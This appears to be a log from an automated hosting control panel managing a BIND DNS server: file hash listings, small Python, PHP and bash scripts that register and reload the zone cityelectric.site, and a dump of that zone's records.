MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-01 20:55:05: 

PUT: /tmp/pkp579042

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '73c7599fdd5ae53f1a22acdec3f96f94'
ZONE_NAME = 'cityelectric.site'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-02-01 20:55:05: 

chmod 755 /tmp/pkp579042; /tmp/pkp579042; rm /tmp/pkp579042

2026-02-01 20:55:08: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-02-01 20:55:08: 

PUT: /tmp/pkp598336

#!/bin/bash
rndc reload cityelectric.site 2>&1


2026-02-01 20:55:08: 

chmod 755 /tmp/pkp598336; /tmp/pkp598336; rm /tmp/pkp598336

2026-02-01 20:55:08: 


zone reload up-to-date


2026-02-01 20:55:09: Establishing a connection
2026-02-01 20:55:09: 

PUT: /tmp/pkp903079

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-01 20:55:09: 

runuser -l bind -s /bin/bash -c '/tmp/pkp903079; rm /tmp/pkp903079'

2026-02-01 20:55:09: 
2026-02-01 20:55:09: 

PUT: /tmp/pkp968761

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-01 20:55:09: 

chmod 755 /tmp/pkp968761; /tmp/pkp968761; rm /tmp/pkp968761

2026-02-01 20:55:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt	1030
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
cityelectric.site.       		 IN    SOA      	cityelectric.site. hostmaster.cityelectric.site. ( 133995861 14400 3600 14400 3600 )
cityelectric.site.       		 IN    NS       	ns1.hostz.org.
cityelectric.site.       		 IN    NS       	ns2.hostz.org.
@                        		 IN    A        	10.140.12.86
@                        		 IN    AAAA     	2002:0a8c:0c56:0000:0000:0000:0000:0000
_acme-challenge           60	 IN    TXT      	"e70bvyizDy7mjcpjSMUe9Iok43ywIIc6FywMiO82lZc"
mail._domainkey          		 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxwxDyzsjHawWZqIzW4CXIinwR6ffikvpe/tIL/OsHMXeQKpqSYzL1ejRz6B9+PYCLGL1jXiVzY1L0TSDYxFi1URCUXLPKT479DYm+MQeJw4AS5da0Lozr72vS1TwUHBn5ikA4KpeLsDPY4rS3SYltt2ssUJvf5c2EJ5eSD9PVvFbeFGP9ln+4JqBmTGY" "apVA4mXPsup3VNE1eZFqDX35qi5ldDcqKbImY8+HpVguvG/vEp9XJCqRgspMrIm3wz9Gk5Umnjf24hrxMPYZXWRdYclwD7yVNb9Ma0+SstHVWWzJUsB8uibtClqCu2yqV3No3PKkTimCYAv56N8QbiR4KQIDAQAB"






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
